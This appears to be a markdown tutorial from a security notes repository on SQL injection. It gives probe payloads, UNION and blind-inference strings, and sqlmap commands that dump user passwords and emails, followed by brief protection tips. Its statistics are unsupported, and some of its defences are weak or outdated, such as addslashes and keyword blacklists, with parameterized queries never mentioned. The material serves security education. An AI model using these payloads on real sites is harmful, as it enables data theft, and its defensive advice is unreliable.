SQL Injections (SQLi)

A SQL query search can be easily manipulated and assume that a SQL query search is a reliable command. This means that SQL searches are capable of passing, unnoticed, by access control mechanisms.
Using methods of diverting standard authentication and by checking the authorization credentials, you can gain access to important information stored in a database.

The Simplest Example

A parameter passed for a name of a user:

SELECT * FROM users WHERE
name="$name";

In this case, the attacker just needs to introduce a true logical expression like 1=1:

SELECT * FROM users WHERE 1=1;

So that the WHERE clause is always executed, which means that it will return the values that match to all users.

Nowadays it is estimated that less than 5% of the websites have this vulnerability.

These types of flaws facilitate the occurrence of other attacks, such as XSS or buffer overflows.

Blind SQL Injection

INFERENCE: useful technique when data not returned and/or detailed error messages disabled. We can differentiate between two states based on some attribute of the page response.
It's estimated that over 20% of the websites have this flow.
In traditional SQLi it is possible to reveal the information by the attacker writing a payload. In the blind SQLi, the attacker needs to ask the server if something is TRUE or FALSE. For example, you can ask for a user. If the user exists, it will load the website, so it's true.
Timing-based techniques: infer based on delaying database queries (sleep(), waitfor delay, etc).

IF SYSTEM_USER="john" WAIFOR DELAY '0:0:15'

Response-based techniques (True or False): infer based on text in response. Examples:

SELECT count (*) FROM reviews WHERE author='bob' (true)
SELECT count (*) FROM reviews WHERE author='bob' and '1'='1' (true)
SELECT count (*) FROM reviews WHERE author='bob' and '1'='2' (false)
SELECT count (*) FROM reviews WHERE author='bob' and SYSTEM_USER='john' (false)
SELECT count (*) FROM reviews WHERE author='bob' and SUBSTRING(SYSTEM_USER,1,1)='a' (false)
SELECT count (*) FROM reviews WHERE author='bob' and SUBSTRING(SYSTEM_USER,1,1)='c' (true)

(and continue to iterate until finding the value of SYSTEM_USER).

Utilize transport outside of HTTP response.


### Common ways of Exploitation
* Every time you see an URL, the **question mark** followed by some type of letter or word means that a value is being sent from a page to another.

* In the example

http://www.website.com/info.php?id=10

the page *info.php* is receiving the data and will have some code like:

$id=$_post['id'];

and an associated SQL query:

QueryHere = "select * from information where code='$id'"




#### Checking for vulnerability
We can start to verifying whether the target is vulnerable by attaching a simple quote symbol ```'``` in the end of the URL:

http://www.website.com/info.php?id=10'


If the website returns the following error:

	You have an error in your SQL syntax...

It means that this website is vulnerable to SQL.

#### Find the structure of the database
To find the number of columns and tables in a database we can use [Python's SQLmap](http://sqlmap.org/).  

This application streamlines the SQL injection process by automating the detection and exploitation of SQL injection flaws of a database. There are several automated mechanisms to find the database name, table names, and number of columns.

* ORDER BY: it tries to order all columns form x to infinity. The iteration stops when the response shows that the input column x does not exist, reveling the value of x.

* UNION: it gathers several data located in different table columns. The automated process tries to gather all information contained in columns/table x,y,z obtained by ORDER BY. The payload is similar to:

?id=5'%22union%22all%22select%221,2,3


* Normally the databases are defined with names such as: user, admin, member, password, passwd, pwd, user_name. The injector uses a trial and error technique to try to identify the name:

?id=5'%22union%22all%22select%221,2,3%22from%22admin

So, for example, to find the database name, we run the *sqlmap* script with target *-u* and enumeration options *--dbs* (enumerate DBMS databases):

$ ./sqlmap.py -u --dbs (...) [12:59:20] [INFO] testing if URI parameter '#1*' is dynamic [12:59:22] [INFO] confirming that URI parameter '#1*' is dynamic [12:59:23] [WARNING] URI parameter '#1*' does not appear dynamic [12:59:25] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [12:59:25] [INFO] testing for SQL injection on URI parameter '#1*' [12:59:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [12:59:27] [WARNING] reflective value(s) found and filtering out [12:59:51] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' [13:00:05] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [13:00:16] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' (...)


#### Gaining access to the Database

* From this we can verify what databases we have available, for example. From this we can find out how many tables exist, and their respective names. The sqlmap command is:

./sqlmap -u --tables


* The main objective is to find  usernames and passwords in order to gain access/login to the site, for example in a table named *users*. The sqlmap command is

./sqlmap -u --columns -D -T


This will return information about the columns in the given table.

* Now we can dump all the data of all columns using the flag ```-C``` for column names:

./sqlmap -u --columns -D -T -C 'id,name,password,login,email' --dump


If the password are clear text (not hashed in md5, etc), we have access to the website.

## Basic SQL Injection Exploit Steps

1. Fingerprint database server.
2. Get an initial working exploit. Examples of payloads:
	- '
	- '--
	- ')--
	- '))--
	- or '1'='1'
	- or '1'='1
	- 1--
3. Extract data through UNION statements:
	- NULL: use as a column place holder helps with data type conversion errors
	- GROUP BY - help determine number of columns
4. Enumerate database schema.
5. Dump application data.
6. Escalate privilege and pwn the OS.






## Some Protection Tips

* Never connect to a database as a super user or as a root.
* Sanitize any user input. PHP has several functions that validate functions such as:
	- is_numeric()
	- ctype_digit()
	- settype()
	- addslahes()
	- str_replace()
* Add quotes ```"``` to all non-numeric input values that will be passed to the database by using escape chars functions:
	- mysql_real_escape_string()
	- sqlit_escape_string()

```php
$name = 'John';
$name = mysql_real_escape_string($name);
$SQL = "SELECT * FROM users WHERE username='$name'";

Always perform a parse of data that is received from the user (POST and FORM methods).
- The chars to be checked:", ', whitespace, ;, =, <, >, !, --, #, //.
- The reserved words: SELECT, INSERT, UPDATE, DELETE, JOIN, WHERE, LEFT, INNER, NOT, IN, LIKE, TRUNCATE, DROP, CREATE, ALTER, DELIMITER.
Do not display explicit error messages that show the request or a part of the SQL request. They can helpfingerprint the RDBMS(MSSQL, MySQL).
Erase user accounts that are not used (and default accounts).
Other tools: blacklists, AMNESIA, Java Static Tainting, Codeigniter.

7.4 KiB Raw Blame History

SQL Injections (SQLi)

The Simplest Example

Blind SQL Injection

7.4 KiB

Raw Blame History